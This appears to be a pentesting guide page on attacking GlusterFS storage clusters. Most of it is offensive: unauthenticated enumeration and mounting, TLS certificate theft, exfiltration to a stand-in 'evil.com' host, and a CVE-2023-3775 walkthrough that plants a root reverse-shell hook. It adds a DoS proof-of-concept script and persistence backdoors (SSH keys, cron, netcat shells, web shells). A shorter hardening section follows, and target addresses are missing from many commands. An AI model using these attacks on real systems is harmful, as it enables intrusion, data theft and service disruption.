# GlusterFS - Port 24007, 24008, 24009, 49152 {% tabs %} {% tab title="Support VeryLazyTech 🎉" %} * Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁** * **Follow** us on: * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.** * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.** * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.** * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.** * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.** * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.** * Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. 📚 {% endtab %} {% endtabs %} ## Basic info #### What is GlusterFS? **GlusterFS** is a distributed file system that provides: * **Scale-out storage** - Add servers to expand capacity * **No metadata servers** - Elastic hashing algorithm * **POSIX compatibility** - Standard file system interface * **High availability** - Replication and self-healing * **Multiple protocols** - Native client, NFS, SMB * **Flexible volumes** - Distributed, replicated, striped #### Architecture ``` ┌─────────────────────────────────────────────────────────────┐ │ GlusterFS Architecture │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ Client Systems │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ │ │ Client 1 │ │ Client 2 │ │ Client 3 │ │ │ │ │ │(FUSE) │ │(libgfapi)│ │(NFS/SMB) │ │ │ │ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │ │ └───────┼─────────────┼─────────────┼──────────────────┘ │ │ │ │ │ │ │ └─────────────┴─────────────┘ │ │ │ │ │ V │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ GlusterFS Management Layer │ │ │ │ glusterd (Port 24007) │ │ │ └──────────────────────────────────────────────────────┘ │ │ │ │ │ ┌─────────────┴─────────────┬──────────┐ │ │ V V V │ │ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ │ │ Server 1 │ │ Server 2 │ │ Server 3 │ │ │ ├────────────┤ ├────────────┤ ├────────────┤ │ │ │ Brick 1 │◄──────────►│ Brick 2 │ │ Brick 3 │ │ │ │(Port 49152)│ Replicate │(Port 49152)│ │(Port 49152)│ │ │ │ │ │ │ │ │ │ │ │/data/brick1│ │/data/brick2│ │/data/brick3│ │ │ └────────────┘ └────────────┘ └────────────┘ │ │ │ │ Volume: myvolume (Replicated) │ │ Data written to Client → Stored on Brick 1 & 2 │ └─────────────────────────────────────────────────────────────┘ ``` **Key Components:** **1. Glusterd (Management Daemon)** * Port 24007 (default) * Peer management * Volume configuration * RPC-based protocol **2. Brick** * Basic unit of storage * Directory on a server * Starts at port 49152 (incremental) * One port per brick **3. Volume** * Logical collection of bricks * Various types (distributed, replicated, striped) * Mounted by clients **4. Client** * FUSE native mount * libgfapi (application integration) * NFS/SMB gateway #### Volume Types **1. Distributed Volume** ``` Files distributed across bricks (no redundancy) File1 → Brick1 File2 → Brick2 File3 → Brick3 ``` **2. Replicated Volume** ``` Files replicated across bricks (redundancy) File1 → Brick1 + Brick2 (mirrors) File2 → Brick1 + Brick2 ``` **3. Striped Volume** ``` Files striped across bricks (performance) File1_Part1 → Brick1 File1_Part2 → Brick2 File1_Part3 → Brick3 ``` **4. Distributed-Replicated** ``` Combination of distribution + replication File1 → Brick1 + Brick2 (replica set 1) File2 → Brick3 + Brick4 (replica set 2) ``` #### Port Allocation **Fixed Ports:** * **24007** - glusterd management daemon * **24008** - glusterd management (legacy, < v9) * **24009** - glusterd management (legacy, < v9) **Dynamic Ports:** * **49152+** - Brick processes (incremental) * First brick: 49152 * Second brick: 49153 * Third brick: 49154 * etc. #### Common Use Cases **Real-World Deployments:** * **Wikimedia** - Media storage * **KVM** - Virtual machine images * **OpenStack** - Cloud storage backend * **Red Hat** - OpenShift persistent storage * **Media Companies** - Video rendering farms **Application Scenarios:** * Object storage * Big data analytics * Media streaming * Backup storage * Container persistent volumes * Home directories (NFS replacement) #### Default Ports **Primary:** 24007, 24008, 24009, 49152-49162 (typical) ``` PORT STATE SERVICE 24007/tcp open glusterd 49152/tcp open gluster-brick 49153/tcp open gluster-brick ``` ## Reconnaissance & Enumeration #### Port Scanning **Basic Nmap Scan** ```bash # Scan GlusterFS ports nmap -p 24007-24009,49152-49162 -sV # Comprehensive scan nmap -p 24007-24009,38465-38469,49152-49200 -sV -A # Scan entire common range nmap -p 24007,49152-50000 -sV # Scan subnet nmap -p 24007 -sV /24 -oA glusterfs-scan # Version detection nmap -p 24007 --script banner ``` **Sample Output:** ``` PORT STATE SERVICE VERSION 24007/tcp open rpcbind GlusterFS glusterd 49152/tcp open unknown SSL/TLS (GlusterFS brick) 49153/tcp open unknown GlusterFS brick 49154/tcp open unknown GlusterFS brick ``` #### Service Fingerprinting **Check if glusterd is running:** ```bash # Try to connect nc -v 24007 # Or check with RPC rpcinfo -p | grep gluster ``` #### Install GlusterFS Client **Debian/Ubuntu:** ```bash sudo apt update sudo apt install -y glusterfs-client glusterfs-cli ``` **RHEL/CentOS:** ```bash sudo yum install -y glusterfs-client ``` **Verify Installation:** ```bash gluster --version # Output: glusterfs 10.3 ``` #### Shodan Queries ``` port:24007 "glusterd" product:"GlusterFS" ``` ## Authentication Testing #### No Authentication by Default **Critical Security Issue:** GlusterFS by default has **NO AUTHENTICATION**. Anyone who can connect to port 24007 can: * List all peers * Query volume information * Mount volumes (if not restricted) * Potentially modify cluster configuration #### Test Unauthenticated Access ```bash # List peers (works without credentials) gluster --remote-host peer status # If successful, output shows all cluster nodes: Number of Peers: 2 Hostname: server2.example.com Uuid: abc123-def456-ghi789 State: Peer in Cluster (Connected) Hostname: server3.example.com Uuid: xyz789-uvw456-rst123 State: Peer in Cluster (Connected) ``` #### Volume Enumeration **List All Volumes** ```bash # Retrieve volume information gluster --remote-host volume list # Output: myvolume datastore backups # Get detailed info gluster --remote-host volume info all # Sample output: Volume Name: myvolume Type: Replicate Volume ID: 1234-5678-90ab Status: Started Number of Bricks: 1 x 2 = 2 bricks Transport-type: tcp Bricks: Brick1: server1:/data/brick1 Brick2: server2:/data/brick2 ``` #### Cluster Information **Get Cluster Status** ```bash # Pool list gluster --remote-host pool list # Shows all servers in the trusted pool UUID Hostname State abc-123-def server1 Connected xyz-789-uvw server2 Connected ``` ### Volume Mounting & Data Access #### Mount Volume (No Authentication) **Basic Mount:** ```bash # Create mount point sudo mkdir -p /mnt/gluster # Mount volume sudo mount -t glusterfs :/ /mnt/gluster # Example: sudo mount -t glusterfs 10.10.11.131:/myvolume /mnt/gluster # Verify mount df -h | grep gluster ls -la /mnt/gluster ``` **Successful Mount = Full File System Access** #### Access Control Bypass **If mount fails with permission error:** ```bash # Check /var/log/glusterfs/ for errors tail -f /var/log/glusterfs/mnt-gluster.log # Common restrictions: # 1. IP-based access control (auth.allow) # 2. TLS enforcement (transport.socket.ssl on) ``` #### TLS Certificate Theft **If TLS is enabled:** ```bash # Required certificate files: /etc/ssl/glusterfs.pem # Client certificate /etc/ssl/glusterfs.key # Client private key /etc/ssl/glusterfs.ca # CA certificate # Steal these from ANY authorized client # Then place on attacker machine in /etc/ssl/ # After placing certificates, mount should work sudo mount -t glusterfs :/ /mnt/gluster ``` #### Data Exfiltration **Once Mounted:** ```bash # Browse filesystem cd /mnt/gluster ls -laR # Search for sensitive files find /mnt/gluster -name "*.conf" find /mnt/gluster -name "password*" find /mnt/gluster -name "id_rsa*" find /mnt/gluster -name "*.key" # Extract data tar czf /tmp/stolen.tar.gz /mnt/gluster rsync -av /mnt/gluster/ attacker@evil.com:/backup/ ``` ## Exploitation & Known Vulnerabilities #### CVE-2023-3775: Unauthorized Mount (Privilege Escalation) **Affected:** GlusterFS < 10.5 / 11.1 **Vulnerability:** Incorrect permission validation allows unauthenticated mounting of `gluster_shared_storage` admin volume. **Impact:** Privilege escalation to root on all cluster nodes. **Exploitation:** ```bash # 1. Mount admin volume anonymously sudo mkdir /tmp/gss sudo mount -t glusterfs :/gluster_shared_storage /tmp/gss # 2. Verify access ls -la /tmp/gss # Should see: hooks/, ss_bricks/, nfs/, etc. # 3. Navigate to hooks directory cd /tmp/gss/hooks/1/start/post/ # 4. Create malicious hook script cat <<'EOF' > /tmp/gss/hooks/1/start/post/backdoor.sh #!/bin/bash # Reverse shell as root bash -c 'bash -i >& /dev/tcp//4444 0>&1' & EOF chmod +x /tmp/gss/hooks/1/start/post/backdoor.sh # 5. Wait for hook execution # Hooks execute as root on cluster operations: # - Volume start/stop # - Rebalance operations # - Scheduled maintenance # Or trigger manually if you have access gluster --remote-host volume stop myvolume gluster --remote-host volume start myvolume # 6. Receive root shell nc -lvp 4444 ``` **Alternative Locations:** ```bash # If hooks/1/ doesn't exist, try: /tmp/gss/ss_bricks/ /tmp/gss/hooks/S40-start.sh /tmp/gss/nfs/ # Some versions use different paths ls -laR /tmp/gss/ ``` #### CVE-2022-48340: Use-After-Free (RCE) **Affected:** GlusterFS 10.0-10.4, 11.0 **Vulnerability:** Use-after-free in `dht_setxattr_mds_cbk` function. **Impact:** Remote DoS and probable RCE. **Exploitation:** (Requires deep protocol knowledge) ```python #!/usr/bin/env python3 """ CVE-2022-48340 PoC (Conceptual) Triggers use-after-free in DHT translator """ import socket def exploit_uaf(target_ip, target_port=49152): """ Send crafted DHT setxattr request Triggers use-after-free condition """ # This is conceptual - actual exploit requires # proper GlusterFS RPC protocol implementation # Crafted packet to trigger vulnerability # Details: https://github.com/gluster/glusterfs/pull/3755 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send malformed setxattr request # ... sock.close() # Note: Full exploitation requires reverse engineering # GlusterFS RPC protocol and DHT translator internals ``` #### CVE-2023-26253: Out-of-Bounds Read (DoS) **Affected:** GlusterFS < 11.0 **Vulnerability:** Out-of-bounds read in FUSE notify handler. **Impact:** Remote crash (DoS). **Exploitation:** ```python #!/usr/bin/env python3 """ CVE-2023-26253 PoC Crashes glusterfsd via malformed NOTIFY_REPLY """ import socket import xdrlib import struct def exploit_obb(target_ip, target_port=24007): """Send malformed NOTIFY_REPLY XDR frame""" # Create malformed XDR packet packer = xdrlib.Packer() packer.pack_uint(0xdeadbeef) # Invalid notify type # Connect to glusterd sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send RPC header (last fragment flag set) payload = packer.get_buffer() header = struct.pack("!L", len(payload) | 0x80000000) sock.send(header) sock.send(payload) sock.close() print("[+] Exploit sent. glusterfsd should crash.") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ") sys.exit(1) exploit_obb(sys.argv[1]) ``` **Result:** glusterfsd process crashes, disrupting storage cluster. #### Directory Traversal **If application uses GlusterFS for file storage:** ```bash # Mount volume sudo mount -t glusterfs :/uploads /mnt/gluster # Upload file with traversal cd /mnt/gluster mkdir -p "../../../../../../../../tmp" echo "malicious" > "../../../../../../../../tmp/evil.txt" # Depending on application logic, may escape jail ``` ## Post-Exploitation #### Data Manipulation **Once Mounted with Write Access:** ```bash # Plant backdoors in web directories echo '' > /mnt/gluster/web/shell.php # Modify configuration files echo "attacker_key" >> /mnt/gluster/app/authorized_keys # Replace binaries cp /tmp/trojan /mnt/gluster/bin/legitimate_app ``` #### Persistence via Hooks **Malicious Hook Scripts:** ```bash # Create persistent backdoor cat <<'EOF' > /tmp/gss/hooks/1/start/post/persist.sh #!/bin/bash # Install SSH backdoor mkdir -p /root/.ssh echo "ssh-rsa AAAA...attacker_key..." >> /root/.ssh/authorized_keys # Install cron backdoor echo "*/5 * * * * root /tmp/.backdoor" >> /etc/crontab # Network backdoor nohup nc -l -p 31337 -e /bin/bash & EOF chmod +x /tmp/gss/hooks/1/start/post/persist.sh ``` #### Information Gathering **Extract Cluster Topology:** ```bash # List all peers gluster --remote-host peer status # Volume details reveal server hostnames/IPs gluster --remote-host volume info all # Build network map # - Server hostnames # - IP addresses # - Storage paths # - Replication topology ``` **Harvest Credentials from Volumes:** ```bash # Search for credentials grep -r "password" /mnt/gluster/ grep -r "api_key" /mnt/gluster/ grep -r "secret" /mnt/gluster/ # Find SSH keys find /mnt/gluster -name "id_rsa*" find /mnt/gluster -name "*.pem" # Database configs find /mnt/gluster -name "database.yml" find /mnt/gluster -name "*.conf" -exec grep -l "password" {} \; ``` ## Defense & Hardening #### Enable TLS/SSL **Configure Transport Encryption:** ```bash # Generate certificates mkdir -p /etc/ssl/glusterfs cd /etc/ssl/glusterfs # Create CA openssl genrsa -out ca.key 2048 openssl req -new -x509 -key ca.key -out ca.crt -days 3650 # Create server certificate openssl genrsa -out glusterfs.key 2048 openssl req -new -key glusterfs.key -out glusterfs.csr openssl x509 -req -in glusterfs.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out glusterfs.pem -days 3650 # Enable TLS on volume gluster volume set transport.socket.ssl on gluster volume set transport.socket.ssl-cert /etc/ssl/glusterfs/glusterfs.pem gluster volume set transport.socket.ssl-key /etc/ssl/glusterfs/glusterfs.key # Restart volume gluster volume stop gluster volume start ``` #### Access Control **IP-Based Restrictions:** ```bash # Allow only specific IPs/subnets gluster volume set auth.allow 192.168.1.0/24,10.0.0.50 # Verify gluster volume info | grep auth.allow ``` **User Authentication (Experimental):** ```bash # Enable username/password auth gluster volume set server.allow-insecure off # Requires client to authenticate # Note: Feature not widely used/tested ``` #### Network Security **Firewall Rules:** ```bash # UFW # Allow only from trusted networks sudo ufw allow from 192.168.1.0/24 to any port 24007 sudo ufw allow from 192.168.1.0/24 to any port 49152:49200 proto tcp # Deny from everywhere else sudo ufw deny 24007 sudo ufw deny 49152:49200/tcp # iptables # Management daemon sudo iptables -A INPUT -p tcp --dport 24007 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 24007 -j DROP # Brick ports sudo iptables -A INPUT -p tcp --dport 49152:49200 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 49152:49200 -j DROP ``` **Private Network Only:** ```bash # Bind glusterd to private interface # In /etc/glusterfs/glusterd.vol option transport.socket.bind-address # Restart glusterd systemctl restart glusterd ``` #### Secure Shared Storage **Protect gluster\_shared\_storage:** ```bash # Check if shared storage is enabled gluster volume list | grep gluster_shared_storage # If present, restrict access gluster volume set gluster_shared_storage auth.allow 127.0.0.1 # Or disable if not needed gluster volume stop gluster_shared_storage gluster volume delete gluster_shared_storage ``` #### Monitoring & Detection **Enable Audit Logging:** ```bash # Enable audit logs for volume gluster volume set features.audit-log on # Logs location: /var/log/glusterfs/ ``` **Monitor glusterd Logs:** ```bash # Watch for suspicious activity tail -f /var/log/glusterfs/glusterd.log # Look for: # - Unknown peer connections # - Volume mount attempts # - Configuration changes # - Failed authentication (if enabled) ``` **Network Monitoring:** ```bash # Monitor connections to gluster ports sudo tcpdump -i eth0 port 24007 -w gluster.pcap # Analyze traffic tshark -r gluster.pcap -Y "tcp.port==24007" # Alert on unusual sources ``` **Intrusion Detection Rules:** ```bash # Snort rules for GlusterFS alert tcp any any -> any 24007 (msg:"GlusterFS management connection"; flow:to_server; sid:1000001;) alert tcp any any -> any 24007 (msg:"GlusterFS peer status query"; content:"peer status"; sid:1000002;) alert tcp any any -> any 24007 (msg:"GlusterFS volume info query"; content:"volume info"; sid:1000003;) alert tcp any any -> any 49152:49200 (msg:"GlusterFS brick access"; flow:to_server; threshold:type both, track by_src, count 10, seconds 60; sid:1000004;) ``` #### Regular Security Practices ```bash # Update GlusterFS regularly # Check: https://www.gluster.org/ # Current version gluster --version # Review trusted peers gluster peer status # Review volume configurations gluster volume info all # Check for unauthorized mounts gluster volume status clients # Backup volume configurations gluster volume info all > /backup/gluster-config-$(date +%Y%m%d).txt # Security audit script #!/bin/bash echo "[*] GlusterFS Security Audit" # Check if shared storage exists gluster volume list | grep -q gluster_shared_storage if [ $? -eq 0 ]; then echo "[!] WARNING: gluster_shared_storage exists" echo " Check auth.allow configuration" fi # Check for TLS gluster volume info all | grep -q "transport.socket.ssl: on" if [ $? -ne 0 ]; then echo "[!] WARNING: TLS not enabled on all volumes" fi # Check auth.allow gluster volume info all | grep -q "auth.allow:" if [ $? -ne 0 ]; then echo "[!] WARNING: No IP restrictions configured" fi echo "[*] Audit complete!" ``` #### Update & Patch ```bash # Ubuntu/Debian sudo apt update sudo apt upgrade glusterfs-server glusterfs-client # RHEL/CentOS sudo yum update glusterfs-server glusterfs-client # Verify version gluster --version # Current LTS: 11.1 (as of 2025) # All known CVEs fixed in latest releases ``` ## Tools & Scripts #### Essential Tools 1. **gluster CLI** - Management commands 2. **mount.glusterfs** - Volume mounting 3. **nmap** - Discovery 4. **Custom Python scripts** - Automation #### Custom Enumeration Script ```python #!/usr/bin/env python3 """ GlusterFS Enumeration Tool """ import subprocess import sys import re class GlusterEnum: def __init__(self, host): self.host = host def run_command(self, cmd): """Execute gluster command""" try: result = subprocess.run( cmd, shell=True, capture_output=True, text=True, timeout=10 ) return result.stdout except Exception as e: return f"Error: {e}" def peer_status(self): """Get peer status""" cmd = f"gluster --remote-host {self.host} peer status" output = self.run_command(cmd) print("\n[*] Peer Status:") print(output) return output def list_volumes(self): """List all volumes""" cmd = f"gluster --remote-host {self.host} volume list" output = self.run_command(cmd) print("\n[*] Volumes:") print(output) return output.strip().split('\n') def volume_info(self, volume=None): """Get volume information""" if volume: cmd = f"gluster --remote-host {self.host} volume info {volume}" else: cmd = f"gluster --remote-host {self.host} volume info all" output = self.run_command(cmd) print(f"\n[*] Volume Info:") print(output) return output def check_shared_storage(self): """Check for vulnerable shared storage""" volumes = self.list_volumes() if 'gluster_shared_storage' in volumes: print("\n[!] CRITICAL: gluster_shared_storage found!") print(" Attempting to mount (CVE-2023-3775)...") # Try to mount mount_cmd = f"sudo mount -t glusterfs {self.host}:/gluster_shared_storage /tmp/gss_test" result = self.run_command(mount_cmd) if "mount" in result or result == "": print(" [+] Mount may be successful!") print(" [+] Check /tmp/gss_test/") else: print(f" [-] Mount failed: {result}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ") sys.exit(1) host = sys.argv[1] enum = GlusterEnum(host) print("[*] GlusterFS Enumeration Tool") print(f"[*] Target: {host}") enum.peer_status() enum.list_volumes() enum.volume_info() enum.check_shared_storage() ``` ## Cheat Sheet #### Quick Reference ```bash # PORT SCANNING nmap -p 24007,49152-49162 -sV # PEER STATUS gluster --remote-host peer status # LIST VOLUMES gluster --remote-host volume list # VOLUME INFO gluster --remote-host volume info all # MOUNT VOLUME sudo mount -t glusterfs :/ /mnt/gluster # MOUNT SHARED STORAGE (CVE-2023-3775) sudo mount -t glusterfs :/gluster_shared_storage /tmp/gss # PRIVILEGE ESCALATION cat <<'EOF' > /tmp/gss/hooks/1/start/post/shell.sh #!/bin/bash nc -e /bin/bash 4444 & EOF chmod +x /tmp/gss/hooks/1/start/post/shell.sh # ENABLE TLS gluster volume set transport.socket.ssl on # RESTRICT ACCESS gluster volume set auth.allow 192.168.1.0/24 ``` #### Important Ports ``` 24007 - glusterd management 24008-09 - legacy management (< v9) 49152+ - brick processes (incremental) ``` #### Critical Files ``` /etc/glusterfs/glusterd.vol - glusterd config /var/log/glusterfs/glusterd.log - Management logs /var/log/glusterfs/bricks/ - Brick logs /etc/ssl/glusterfs.* - TLS certificates ``` ### Additional Resources * [GlusterFS Documentation](https://docs.gluster.org/) * [GlusterFS Security Advisories](https://docs.gluster.org/en/latest/release-notes/#security) * [CVE-2023-3775 Details](https://access.redhat.com/security/cve/CVE-2023-3775) * [CVE-2023-26253 PoC](https://github.com/tinynetwork/gluster-notify-crash) * [HackTricks GlusterFS](https://book.hacktricks.wiki/en/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.html) {% hint style="success" %} Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)
Support VeryLazyTech 🎉 * Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁** * **Follow** us on: * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.** * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.** * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.** * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.** * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.** * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.** * Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. 📚
{% endhint %}